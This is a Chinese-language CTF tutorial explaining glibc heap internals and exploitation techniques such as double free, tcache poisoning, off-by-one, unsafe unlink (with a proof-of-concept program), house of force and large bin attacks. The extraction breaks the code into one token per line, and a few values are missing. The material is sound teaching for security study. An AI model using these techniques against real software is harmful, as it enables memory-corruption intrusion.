CTF 中 glibc堆利用 及 IO_FILE 总结
写在最前面
本文全文由winmt
一人编写,初稿完成于2022.2.1
,在编写过程中,参考了 《CTF竞赛权威指南(Pwn篇)》 一书,以及 raycp,风沐云烟,wjh,Ex,ha1vk 等众多大师傅的博客与 安全客,看雪论坛,先知社区,CTF-WiKi 上的部分优秀的文章,在此一并表示感谢。
本文主要着眼于glibc
下的一些漏洞及利用技巧和IO
调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc
相关的基础知识,以及低版本glibc
(2.27
及以前)下常见的漏洞利用方式,后者主要涉及到一些较新的glibc
下的IO
调用链。
本篇文章加入了大量笔者自己的理解,力求用尽可能直白的语言解释清楚一些漏洞的原理和利用方式,给初学者们良好的阅读体验,以少走一些弯路,但笔者本身比较菜,水平也很有限,加上这篇文章成稿的时间较短,因此难免会有一些错误,也欢迎各位读者和笔者进行交流讨论,笔者的邮箱是:wjcmt2003@qq.com
。
基础堆利用漏洞 及 基本IO攻击
Heap
由低地址向高地址 增长,可读可写 ,首地址16字节对齐 ,未开启ASLR
,start_brk
紧接BSS
段高地址处,开启了ASLR
,则start_brk
会在BSS段高地址之后随机位移处 。通过调用brk()
与sbrk()
来移动program_break
使得堆增长或缩减,其中brk(void* end_data_segment)
的参数用于设置program_break
的指向,sbrk(increment)
的参数可正可负可零,用于与program_break
相加来调整program_break
的值,执行成功后,brk()
返回0
,sbrk()
会返回上一次program_break
的值。
mmap
当申请的size
大于mmap
的阈值mp_.mmap_threshold(128*1024=0x20000)
且此进程通过mmap
分配的内存数量mp_.n_mmaps
小于最大值mp_.n_mmaps_max
,会使用mmap
来映射内存给用户(映射的大小是页对齐 的),所映射的内存地址与之前申请的堆块内存地址并不连续 (申请的堆块越大,分配的地址越接近libc
)。若申请的size
并不大于mmap
的阈值,但top chunk
当前的大小又不足以分配,则会扩展top chunk
,然后从top chunk
里分配内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if
(chunk_is_mmapped (p))
{
if
(!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <
=
DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold
=
chunksize (p);
/
/
假设申请的堆块大小为
0x61A80
,大于最小阈值,因此第一次malloc(
0x61A80
),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为
0x62000
,也就是阈值将修改为
0x62000
。
mp_.trim_threshold
=
2
*
mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds,
2
,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return
;
}
泄露libc :在能够查看内存分配的环境下(本地vmmap
,远程环境通过传非法地址 泄露内存分配),通过申请大内存块,可通过利用mmap
分配到的内存块地址与libc
基址之间的固定偏移量泄露libc
地址。
1
2
3
4
5
6
7
pwndbg> vmmap
......
0x555555602000
0x555555604000
rw
-
p
2000
2000
/
pwn
0x555555604000
0x555555625000
rw
-
p
21000
0
[heap]
0x7ffff79e4000
0x7ffff7bcb000
r
-
xp
1e7000
0
/
libc
-
2.27
.so
0x7ffff7bcb000
0x7ffff7dcb000
-
-
-
p
200000
1e7000
/
libc
-
2.27
.so
......
其中0x7ffff79e4000
就是本次libc
的基地址。
struct malloc_chunk
在这个结构体中,包含了许多成员(考虑在64
位下):
pre_size
:如果上一个chunk
处于释放 状态,则表示其大小;否则,作为上一个chunk
的一部分,用于保存上一个chunk
的数据(申请0x58
的大小,加上chunk header
的0x10
大小,理论需要分配0x68
,考虑内存页对齐的话,甚至要分配0x70
,但实际分配的却是0x60
,因为共用 了下个堆块pre_size
的空间,故从上一个堆块的mem
开始可以写到下一个堆块的pre_size
)。
size
:当前堆块的大小,必须是0x10
的整数倍。最后3个比特位被用作状态标识,其中最低两位:IS_MAPPED
用于标识当前堆块是否是通过mmap
分配的,最低位PREV_INUSE
用于表示上一个chunk
是否处于使用状态(1
为使用,0
为空闲),fast bin
与tcache
中堆块的下一个堆块中PRE_INUSE
位均为1
,因此在某些相邻的大堆块释放时,不会与之发生合并 。
fd
与bk
仅在当前chunk
处于释放 状态时才有效,chunk
被释放后进入相应的bins
,fd
指向该链表中下一个 free chunk
,bk
指向该链表中上一个 free chunk
;否则,均为用户使用的空间。
fd_nextsize
与bk_nextsize
仅在被释放的large chunk 中,且加入了与当前堆块大小不同的堆块时 才有效,用于指向该链表中下一个,上一个与当前chunk
大小不同 的free chunk
(因为large bin
中每组bin
容纳一个大小范围 中的堆块),否则,均为用户使用的空间。
每次malloc
申请得到的内存指针,其实指向user data
的起始处。而在除了tcache
的各类bin
的链表中fd
与bk
等指针却指向着chunk header
,tcache
中next
指针指向user data
。
所有chunk
加入相应的bin
时,里面原有的数据不会被更改,包括fd
,bk
这些指针,在该bin
没有其他堆块加入的时候,也不会发生更改。
bins
1.fast bin
:
(1) 单链表,LIFO
(后进先出),例如,A->B->C
,加入D
变为:D->A->B->C
,拿出一个,先拿D
,又变为A->B->C
。 (2) fastbinsY[0]
容纳0x20
大小的堆块,随着序号增加,所容纳的范围递增0x10
,直到默认最大大小(DEFAULT_MXFAST
)0x80
(但是其支持的fast bin
的最大大小MAX_FAST_SIZE
为0xa0
),mallopt(1,0)
即mallopt(M_MXFAST,0)
将 MAX_FAST_SIZE
设为0
,禁用fast bin
。 (3) 当一个堆块加进fast bin
时,不会对下一个堆块的PREV_INUSE
进行验证(但是会对下一个堆块size
的合法性进行检查),同样地,将一个堆块从fast bin
中释放的时候,也不会对其下一个堆块的PREV_INUSE
进行更改(也不会改下一个堆块的PREV_SIZE
),只有触发malloc_consolidate()
后才会改下一个堆块的PREV_INUSE
。
1
2
3
4
5
6
7
new(small_size);
new(large_size);
delete(
1
);
new(large_size);
delete(
1
);
new(small_size, payload);
delete(
2
);
(4) 当申请一个大于large chunk
最小大小(包括当申请的chunk
需要调用brk()
申请新的top chunk
或调用mmap()
函数时)的堆块之后,会先触发malloc_consolidate()
,其本身会将fast bin
内的chunk
取出来,与相邻的free chunk
合并后放入unsorted bin
,或并入top chunk
(如果无法与相邻的合并,就直接将其放入unsorted bin
),然后由于申请的large chunk
显然在fast bin
,small bin
内都找不到,于是遍历unsorted bin
,将其中堆块放入small bin
,large bin
,因此最终的效果就是fast bin
内的chunk
与周围的chunk
合并了(或是自身直接进入了unsorted bin
),最终被放入了small bin
,large bin
,或者被并入了top chunk
,导致fast bin
均为空。 (5) 若free
的chunk
和相邻的free chunk
合并后的size
大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)
(包括与top chunk
合并),那么也会触发malloc_consolidate()
,最终fast bin
也均为空。 (6) 伪造fast bin
时,要绕过在__int_malloc()
中取出fake fast bin
时,对堆块大小的检验。
2.unsorted bin
:
双链表,FIFO
(先进先出),其实主要由bk
连接,A<-B<-C
进一个D
变为D<-A<-B<-C
,拿出一个C
,变为D<-A<-B
。bin
中堆块大小可以不同,不排序。 一定大小的chunk
被释放后在被放入small bin
,large bin
之前,会先进入unsorted bin
。泄露libc :unsorted_bin
中最先进来的free chunk
的fd
指针和最后进来的free chunk
的bk
指针均指向了main_arena
中的位置,在64
位中,一般是
或
,具体受libc
影响,且main_arena
的位置与__malloc_hook
相差0x10
,而在32
位的程序中,main_arena
的位置与__malloc_hook
相差0x18
,加入到unsorted bin
中的free chunk
的fd
和bk
通常指向
的位置。
1
libc_base
=
leak_addr
-
libc.symbols[
'__malloc_hook'
]
-
0x10
-
88
此外,可修改正处在unsorted bin
中的某堆块的size
域,然后从unsorted bin
中申请取出该堆块时,不会再检测是否合法,可进行漏洞利用。
3.small bin
:
双链表,FIFO
(先进先出),同一个small bin
内存放的堆块大小相同。 大小范围:0x20 ~ 0x3F0
。
4.large bin
:
双链表,FIFO
(先进先出),每个bin
中的chunk
的大小不一致,而是处于一定区间范围内,里面的chunk
从头结点的fd_nextsize
指针开始,按从大到小的顺序排列,同理换成bk_nextsize
指针,就是按从小到大的顺序排列。 需要注意,若现在large bin
内是这样的:0x420<-(1)0x410(2)<-
,再插一个0x410
大小的堆块进去,会从(2)
位置插进去。large bin
中size
与index
的对应如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
size index
[
0x400
,
0x440
)
64
[
0x440
,
0x480
)
65
[
0x480
,
0x4C0
)
66
[
0x4C0
,
0x500
)
67
[
0x500
,
0x540
)
68
等差
0x40
…
[
0xC00
,
0xC40
)
96
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xC40
,
0xE00
)
97
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xE00
,
0x1000
)
98
[
0x1000
,
0x1200
)
99
[
0x1200
,
0x1400
)
100
[
0x1400
,
0x1600
)
101
等差
0x200
…
[
0x2800
,
0x2A00
)
111
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x2A00
,
0x3000
)
112
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x3000
,
0x4000
)
113
[
0x4000
,
0x5000
)
114
等差
0x1000
…
[
0x9000
,
0xA000
)
119
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xA000
,
0x10000
)
120
[
0x10000
,
0x18000
)
121
[
0x18000
,
0x20000
)
122
[
0x20000
,
0x28000
)
123
[
0x28000
,
0x40000
)
124
[
0x40000
,
0x80000
)
125
[
0x80000
, …. )
126
5.tcache
:
(1) 单链表,LIFO
(后进先出),每个bin
内存放的堆块大小相同,且最多存放7
个,大小从24 ~ 1032
个字节,用于存放non-large
的chunk
。 (2) tcache_perthread_struct
本身也是一个堆块,大小为0x250
,位于堆开头的位置,包含数组counts
存放每个bin
中的chunk
当前数量,以及数组entries
存放64
个bin
的首地址(可以通过劫持此堆块 进行攻击)。 (3) 在释放堆块时,在放入fast bin
之前,若tcache
中对应的bin
未满,则先放入tcache
中。 (4) 从fast bin
返回了一个chunk
,则单链表中剩下的堆块会被放入对应的tcache bin
中,直到上限。 从small bin
返回了一个chunk
,则双链表中剩下的堆块会被放入对应的tcache bin
中,直到上限。 在将剩余堆块从small bin
放入tcache bin
的过程中,除了检测了第一个堆块的fd
指针,都缺失了__glibc_unlikely (bck->fd != victim)
的双向链表完整性检测。 (5) binning code
,如在遍历unsorted bin
时,每一个符合要求的chunk
都会优先被放入tcache
,然后继续遍历,除非tcache
已经装满,则直接返回,不然就在遍历结束后,若找到了符合要求的大小,则把tcache
中对应大小的返回一个。 (6) 在__libc_malloc()
调用__int_malloc()
之前,如果tcache bin
中有符合要求的chunk
就直接将其返回。 (7) CVE-2017-17426
是libc-2.26
存在的漏洞,libc-2.27
已经修复。 (8) 可将tcache_count
整型溢出为0xff
以绕过tcache
,直接放入unsorted bin
等,但在libc-2.28
中,检测了counts
溢出变成负数(0x00-1=0xff
)的情况,且增加了对double free
的检查。 (9) calloc()
越过tcache
取chunk
,通过calloc()
分配的堆块会清零 。补充: realloc()
的特殊用法:size == 0
时,等同于free
;realloc_ptr == 0 && size > 0
时等同于malloc
。如果当前连续内存块足够realloc
的话,只是将p
所指向的空间扩大,并返回p
的指针地址;如果当前连续内存块不够,则再找一个足够大的地方,分配一块新的内存q
,并将p
指向的内容copy
到q
,返回 q
。并将p
所指向的内存空间free
;若是通过realloc
缩小堆块,则返回的指针p
不变,但原先相比缩小后多余的那部分将会被free
掉。
6.top chunk
:
除了house of force
外,其实对于top chunk
还有一些利用点。 当申请的size
不大于mmap
的阈值,但top chunk
当前的大小又不足以分配,则会扩展top chunk
,然后从新top chunk
里进行分配。 这里的扩展top chunk
,其实不一定会直接扩展原先的top chunk
,可能会先将原先的top chunk
给free
掉,再在之后开辟一段新区域作为新的top chunk
。 具体是,如果brk
等于该不够大小的top chunk
(被记作old_top_chunk
)的end
位置(old_end
,等于old_top + old_size
),即top chunk
的size
并没有被修改,完全是自然地分配堆块,导致了top chunk
不够用,则会从old_top
处开辟更大的一块空间作为新的top chunk
,也就是将原先的old_top_chunk
进行扩展了,此时没有free
,且top chunk
的起始位置也没有改变,但是如果brk
不等于old_end
,则会先free
掉old_top_chunk
,再从brk
处开辟一片空间作为new_top_chunk
,此时的top chunk
头部位置变为了原先的brk
,而如今的brk
也做了相应的扩展,并且unsorted bin
或tcache
中(一般修改的大小都至少会是small bin
范围,但具体在哪得分情况看)会有被free
的old_top_chunk
。 因此,可以通过改小top chunk
的size
,再申请大堆块,做到对旧top chunk
的free
,不过修改的size
需要绕过一些检测。 相关源码如下:
1
2
3
4
5
6
7
old_top
=
av
-
>top;
old_size
=
chunksize (old_top);
old_end
=
(char
*
) (chunk_at_offset (old_top, old_size));
/
/
old_end
=
old_top
+
old_size
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
需要绕过以上的断言,主要就是要求被修改的top chunk
的size
的prev_inuse
位要为1
并且old_end
要内存页对齐,所以就要求被修改的size
的后三位和原先要保持一致。
Use-After-Free (UAF)
free(p)
后未将p
清零,若是没有其他检查的话,可能造成UAF
漏洞。double free
就是利用UAF
漏洞的经典例子。
1.fast bin
的double free
:
(1) fast bin
对double free
有检查,会检查当前的chunk
是否与fast bin
顶部的chunk
相同,如果相同则报错并退出。因此,我们不能连续释放两次相同的chunk
。 可采用如下方式在中间添加一个chunk
便绕过检查: 释放A
,单链表为A
,再释放B
,单链表为B->A
,再释放A
,单链表为A->B->A
,然后申请到A
,同时将其中内容改成任意地址(改的是fd
指针),单链表就成了B->A->X
,其中X
就是任意地址,这样再依次申请B
,A
后,再申请一次就拿到了地址X
,可以在地址X
中任意读写内容。 (2) 其实,若是有Edit
功能的话,可以有如下方式: 若当前单链表是B->A
,将B
的fd
指针通过Edit
修改为任意地址X
,单链表就变成了B->X
,申请了B
之后,再申请一次,就拿到了X
地址,从而进行读写。 需要注意的是,以上的X
准确说是fake chunk
的chunk header
地址,因为fast bin
会检测chunk_header_addr + 8
(即size
)是否符合当前bin
的大小。
2.tcache
的double free
:
libc-2.28
之前并不会检测double free
,因此可以连续两次释放同一个堆块进入tcache
,并且tcache
的next
指针指向的是user data
,因此不会做大小的检测。 释放A
,单链表为A
,再释放A
,单链表为A->A
,申请A
并把其中内容(next
指针)改成X
,则单链表为A->X
,再申请两次,拿到X
地址的读写权。 在以上过程结束后,实际上是放进tcache
了两次,而申请取出了三次,因此当前tcache
的counts
会变成0xff
,整型溢出,这是一个可以利用的操作,当然若是想避免此情况,在第一次释放A
之前,可以先释放一次B
,将其放入此tcache bin
即可。 此外,若是有Edit
功能,仿照上述 fast bin
对应操作的技术被称为tcache_poisoning
。
3.glibc2.31
下的double free
:
在 glibc2.29
之后加入了对tcache
二次释放的检查,方法是在tcache_entry
结构体中加入了一个标志key
,用于表示chunk
是否已经在所属的tcache bin
中,对于每个chunk
而言,key
在其bk
指针的位置上。 当chunk
被放入tcache bin
时会设置key
指向其所属的tcache
结构体:e->key = tcache;
,并在free
时,进入tcache bin
之前,会进行检查:如果是double free
,那么put
时key
字段被设置了tcache
,就会进入循环被检查出来;如果不是,那么key
字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)
的可能行进入循环,然后循环发现并不是double free
。这是一个较为优秀的算法,进行了剪枝,具体源码如下:
1
2
3
4
5
6
7
8
if
(__glibc_unlikely(e
-
>key
=
=
tcache))
{
tcache_entry
*
tmp;
LIBC_PROBE(memory_tcache_double_free,
2
, e, tc_idx);
for
(tmp
=
tcache
-
>entries[tc_idx]; tmp; tmp
=
tmp
-
>
next
)
if
(tmp
=
=
e)
malloc_printerr(
"free(): double free detected in tcache 2"
);
}
可通过fast bin double free
+tcache stash
机制来进行绕过: (1) 假设目前tcache
被填满了:C6->C5->C4->C3->C2->C1->C0
,fast bin
中为:C7->C8->C7
。 (2) 下一步,为了分配到fast bin
,需要先申请7
个,让tcache
为空(或calloc
),再次申请时就会返回fast bin
中的C7
,同时由于tcache stash
机制,fast bin
中剩下的C8
,C7
均被放入了tcache bin
,此时,在C7
的fd
字段写入target_addr
(相当于获得了Edit
功能),于是target_addr
也被放入了tcache bin
,因此这里target_addr
处甚至不需要伪造size
(target_addr
指向user data
区)。 (3) 此时,tcache bin
中单链表为:C8->C7->target_addr
,再申请到target_addr
,从而得到了一个真正的任意写。 补充:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
main()
{
void
*
ptr[
15
];
for
(
int
i
=
0
;i<
=
9
;i
+
+
)ptr[i]
=
malloc(
0x20
);
for
(
int
i
=
0
;i<
7
;i
+
+
)free(ptr[i]);
free(ptr[
7
]);
free(ptr[
8
]);
free(ptr[
7
]);
/
/
free(ptr[
9
]);
for
(
int
i
=
0
;i<
7
;i
+
+
)malloc(
0x20
);
malloc(
0x20
);
return
0
;
}
上述代码,若是按注释中的写,则在没有触发tcache stash
机制时,fast bin
中为C9->C8->C7
,取走C9
,最终tcache bin
中是C7->C8
,符合设想(依次取C8
,C7
放入tcache bin
)。 然而,若是double free chunk_7
,则在没有触发tcache stash
机制时,fast bin
中为C7->C8->C7
,取走C7
,最终tcache bin
中是C8->C7->C8
,而若是按照tcache bin
放入的规则,应该也是类似于C7->C8
,不符合设想。 流程如下: (1) 取C8
放入tcache bin
,同时REMOVE_FB (fb, pp, tc_victim);
会清空C8
的next(fd)
指针,并且将链表头设置为指向C8
原先fd
指针指向的堆块C7
(源码分析如下)。
1
2
3
4
5
6
7
8
9
10
do
{
victim
=
pp;
if
(victim
=
=
NULL)
break
;
}
while
((pp
=
catomic_compare_and_exchange_val_acq (fb, victim
-
>fd, victim)) !
=
victim);
/
/
catomic_compare_and_exchange_val_rel_acq 功能是 如果
*
fb等于victim,则将
*
fb存储为victim
-
>fd,返回victim;
/
/
其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim
-
>fd)
(2) 目前fast bin
中为C7->C8
(最开始取走C7
并不清空其fd
字段),然后根据tcache bin
的放入规则,最终依次放入后为C8->C7->C8
。
4.当可以Edit
时,往往就不需要double free
了,而有些情况看似不能对空闲中的堆块进行Edit
(比如存放长度的数组在free
后会清零),但是可以利用UAF
漏洞对处于空闲状态的堆块进行Edit
,例如:
1
2
3
4
5
malloc(
0x20
)
free(
1
)
malloc(
0x20
)
free(
1
)
Edit(
2
, payload)
此时,我们编辑chunk 2
,实则是在对已经free
的chunk 1
进行编辑。
off by one
缓冲区溢出了一个字节,由于glibc
的空间复用技术(即pre_size
给上一个allocated
的堆块使用),所以可通过off by one
修改下一个堆块的size
域。 经常是由于循环次数设置有误造成了该漏洞的产生。比较隐蔽的是strcpy
会在复制过去的字符串末尾加\x00
,可能造成poison null byte
,例如,strlen
和 strcpy
的行为不一致可能会导致off-by-one
的发生:strlen
在计算字符串长度时是不把结束符\x00
计算在内的,但是strcpy
在复制字符串时会拷贝结束符 \x00
。off by one
经常可以与Chunk Extend and Overlapping
配合使用。
扩展被释放块: 当可溢出堆块的下一个堆块处在unsorted bin
中,可以通过溢出单字节扩大下一个堆块的size
域,当申请新size
从unsorted bin
中取出该堆块时,就会造成堆块重叠,从而控制原堆块之后的堆块。该方法的成功依赖于:malloc
并不会对free chunk
的完整性以及next chunk
的prev_size
进行检查,甚至都不会查next chunk
的地址是不是个堆块。libc-2.29
增加了检测next chunk
的prev_size
,会报错:malloc(): mismatching next->prev_size (unsorted)
,也增加了检测next chunk
的地址是不是个堆块,会报错malloc(): invalid next size (unsorted)
。libc-2.23(11)
的版本,当释放某一个非fast bin
的堆块时,若上/下某堆块空闲,则会检测该空闲堆块的size
与其next chunk
的prev_size
是否相等。
扩展已分配块: 当可溢出堆块的一个堆块(通常是fast bin
,small bin
)处于使用状态中时,单字节溢出可修改处于allocated
的堆块的size
域,扩大到下面某个处于空闲状态的堆块处,然后将其释放,则会一直覆盖到下面的此空闲堆块,造成堆块重叠。 此时释放处于使用状态的堆块,由于是根据处于使用中的堆块的size
找到下一个堆块的,而若是上一个堆块处于使用中,那么下一个堆块的prev_size
就不会存放上一个堆块的大小,而是进行空间复用,存放上一个堆块中的数据,因此,此时不论有没有size
与next chunk
的prev_size
的一致性检测,上述利用都可以成功。 同理,若将堆块大小设成0x10
的整数倍,就不会复用空间,此时单字节溢出就可以修改next chunk
的prev_size
域,然后将其释放,就会与上面的更多的堆块合并,造成堆块重叠,当然此时需要next chunk
的prev_inuse
为零。 当加入了对当前堆块的size
与下一个堆块的prev_size
的比对检查后,上述利用就难以实现了。
收缩被释放块: 利用poison null byte
,即溢出的单字节为\x00
的情况。通过单字节溢出可将下一个被释放块的size
域缩小,而此被释放块的下一个堆块(allocated
)的prev_size
并不会被更改(将已被shrink
的堆块进行切割,仍不会改变此prev_size
域),若是将此被释放块的下一个堆块释放,则还是会利用原先的prev_size
找到上一个被释放块进行合并,这样就造成了堆块重叠。 同样,当加入了对当前堆块的size
与下一个堆块的prev_size
的比对检查后,上述利用就难以实现了。
house of einherjar: 同样是利用poison null byte
,当可溢出堆块的下一个堆块处于使用中时,通过单字节溢出,可修改next chunk
的prev_inuse
位为零(0x101->0x100
),同时将prev_size
域改为该堆块与目标堆块位置的偏移,再释放可溢出堆块的下一个堆块,则会与上面的堆块合并,造成堆块重叠。值得一提的是,house of einherjar
不仅可以造成堆块重叠,还具备将堆块分配到任意地址的能力,只要把上述的目标堆块改为fake chunk
的地址即可,因此通常需要泄露堆地址,或者在栈上伪造堆。
unsafe unlink
unlink:
由经典的链表操作FD=P->fd;BK=P->bk;FD->bk=BK;BK->fd=FD;
实现,这样堆块P
就从该双向链表中取出了。unlink
中有一个保护检查机制:(P->fd->bk!=P || P->bk->fd!=P) == False
,需要绕过。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
uint64_t
*
chunk0_ptr;
int
main()
{
int
malloc_size
=
0x80
;
/
/
避免进入fast
bin
chunk0_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk0
/
/
chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
/
/
在
0x90
的chunk0的user data区伪造一个大小为
0x80
的fake chunk
uint64_t
*
chunk1_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk1
chunk0_ptr[
1
]
=
0x80
;
/
/
高版本会有(chunksize(P)!
=
prev_size(next_chunk(P))
=
=
False
)的检查
/
/
绕过检测((P
-
>fd
-
>bk!
=
P || P
-
>bk
-
>fd!
=
P)
=
=
False
):
chunk0_ptr[
2
]
=
(uint64_t) &chunk0_ptr
-
0x18
;
/
/
设置fake chunk的fd
/
/
P
-
>fd
-
>bk
=
*
(
*
(P
+
0x10
)
+
0x18
)
=
*
(&P
-
0x18
+
0x18
)
=
P
chunk0_ptr[
3
]
=
(uint64_t) &chunk0_ptr
-
0x10
;
/
/
设置fake chunk的bk
/
/
P
-
>bk
-
>fd
=
*
(
*
(P
+
0x18
)
+
0x10
)
=
*
(&P
-
0x10
+
0x10
)
=
P
uint64_t
*
chunk1_hdr
=
chunk1_ptr
-
0x10
;
/
/
chunk1_hdr指向chunk1 header
chunk1_hdr[
0
]
=
malloc_size;
/
/
往上寻找pre(fake) chunk
chunk1_hdr[
1
] &
=
~
1
;
/
/
prev_inuse
-
>
0
/
/
高版本需要先填满对应的tcache
bin
free(chunk1_ptr);
/
/
触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
/
/
P
-
>fd
-
>bk
=
P
=
P
-
>bk,P
-
>bk
-
>fd
=
P
=
P
-
>fd,即最终P
=
*
(P
+
0x10
)
=
&P
-
0x18
char victim_string[
8
]
=
"AAAAAAA"
;
chunk0_ptr[
3
]
=
(uint64_t) victim_string;
/
/
*
(P
+
0x18
)
=
*
(&P)
=
P
=
&
str
chunk0_ptr[
0
]
=
0x42424242424242LL
;
/
/
*
P
=
*
(&
str
)
=
str
=
BBBBBBB
fprintf(stderr,
"New Value: %s\n"
,victim_string);
/
/
BBBBBBB
return
0
;
}
house of spirit
对于fast bin
,可以在栈上伪造两个fake chunk
,但需要绕过检查,应满足第一个fake chunk
的标志位IS_MMAPPED
与NON_MAIN_ARENA
均为零(PREV_INUSE
并不影响释放),且要求其大小满足fast bin
的大小,对于其next chunk
,即第二个fake chunk
,需要满足其大小大于0x10
,小于av->system_mem
(0x21000
)才能绕过检查。之后,伪造指针P = & fake_chunk1_mem
,然后free(P)
,fake_chunk1
就进入了fast bin
,之后再申请同样大小的内存,即可取出fake_chunk1
,获得了栈上的任意读写权(当然并不局限于在栈上伪造)。 该技术在libc-2.26
中仍然适用,可以对tcache
做类似的操作,甚至没有对上述next chunk
的检查。
house of force
主要思路为:将top chunk
的size
改为一个很大的数,就可以始终让top chunk
满足切割条件,而恰好又没有对其的检查,故可利用此漏洞,top chunk
的地址加上所请求的空间大小造成了整型溢出,使得top chunk
被转移到内存中的低地址区域(如bss
段,data
段,got
表等等),接下来再次请求空间,就可以获得转移地址后面的内存区域的控制权。
直接将top chunk
的size
域赋成-1
,通过整型溢出为0xffffffffffffffff
。
将需要申请的evil_size
设为target_addr - top_ptr - 0x10*2
,这里的top_ptr
指向top chunk
的chunk header
处。
通过malloc(evil_size)
申请堆块,此时由于top chunk
的size
很大,会绕过检查,通过top chunk
进行分配,分配后,top chunk
被转移到:top_ptr + (evil_size + 0x10) = target_addr - 0x10
处。
之后,再申请P = malloc(X)
,则此时P
指向target_addr
,继而可对此地址进行任意读写的操作。
house of rabbit
house of rabbit
是利用malloc_consolidate()
合并机制的一种方法。malloc_consolidate()
函数会将fastbin
中的堆块之间或其中堆块与相邻的freed
状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin
中的单个堆块)放进了smallbin/largebin
中,在此过程中,并不会对fastbin
中堆块的size
或fd
指针进行检查,这是一个可利用点。
fastbin
中的堆块size
可控(比如off by one
等) 比如现在fastbin
有两个0x20
的堆块A -> B
,其中chunk B
在chunk A
的上方,我们将chunk B
的size
改为0x40
,这样就正好包含了chunk A
,且fake chunk B
下面的堆块也就是chunk A
下方的堆块,也是合法的,假设这个堆块不是freed
的状态,那么触发malloc_consolidate()
之后,smallbin
里就会有两个堆块,一个是chunk A
,另外一个是fake chunk B
,其中包含了chunk A
,这样就实现了堆块重叠。
fastbin
中的堆块fd
可控(比如UAF
漏洞等) 其实就是将fastbin
中的堆块的fd
改为指向一个fake chunk
,然后通过触发malloc_consolidate()
之后,使这个fake chunk
完全“合法化”。不过,需要注意伪造的是fake chunk's next chunk
的size
与其next chunk's next chunk
的size
(prev_inuse
位要为1
)。
unsorted bin attack
unsorted bin into stack
的原理比较简单,就是在栈上伪造一个堆块,然后修改unsorted bin
中某堆块的bk
指针指向此fake chunk
,通过申请到此fake chunk
达到对栈上地址的读写权。需要注意的是高版本有tcache
的情况,此时在unsorted bin
中找到一个合适大小的堆块后并不会直接返回,而是会放入tcache bin
中,直到上限,若是某时刻tcache_count
达到上限,则直接返回该fake chunk
,不然会继续遍历,并在最后从tcache bin
中取出返回给用户,此时就要求fake chunk
的bk
指针指向自身,这样就可以通过循环绕过。 再来看真正的unsorted bin attack
,其实在上述利用中,fake chunk
的fd
指针被修改成了unsorted bin
的地址,位于main_arena
,甚至可以通过泄露其得到libc
的基地址,当然也可以通过这个利用,将任意地址中的值改成很大的数(如global_max_fast
),这就是unsorted bin attack
的核心,其原理是:当某堆块victim
从unsorted bin list
中取出时,会进行bck = victim->bk; unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av);
的操作。 例如,假设chunk_A
在unsorted bin
中,此时将chunk_A
的bk
改成&global_max_fast - 0x10
,然后取出chunk_A
,那么chunk_A->bk->fd
,也就是global_max_fast
中就会写入unsorted bin
地址,即一个很大的数。若是在高版本有tcache
的情况下,可通过放入tcache
的次数小于从中取出的次数,从而整型溢出,使得tcache_count
为一个很大的数,如0xff
,就可以解决unsorted bin into stack
中提到的tcache
特性带来的问题。
large bin attack
假设当前chunk_A
在large bin
中,修改其bk
为addr1 - 0x10
,同时修改其bk_nextsize
为addr2 - 0x20
,此时chunk_B
加入了此large bin
,其大小略大于 chunk_A
,将会进行如下操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
else
{
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
/
/
1
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
2
}
...
bck
=
fwd
-
>bk;
...
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
/
3
其中,victim
就是chunk_B
,而fwd
就是修改过后的chunk_A
,注意到3
处bck->fd = victim
,同时,把1
带入2
可得到:fwd->bk_nextsize->fd_nextsize=victim
,因此,最终addr1
与addr2
地址中的值均被赋成了victim
即chunk_B
的chunk header
地址,也是一个很大的数。
house of storm
一种large bin attack
配合类似于unsorted bin into stack
的攻击手段,适用于libc-2.30
版本以下,由于基本可以被IO_FILE attack
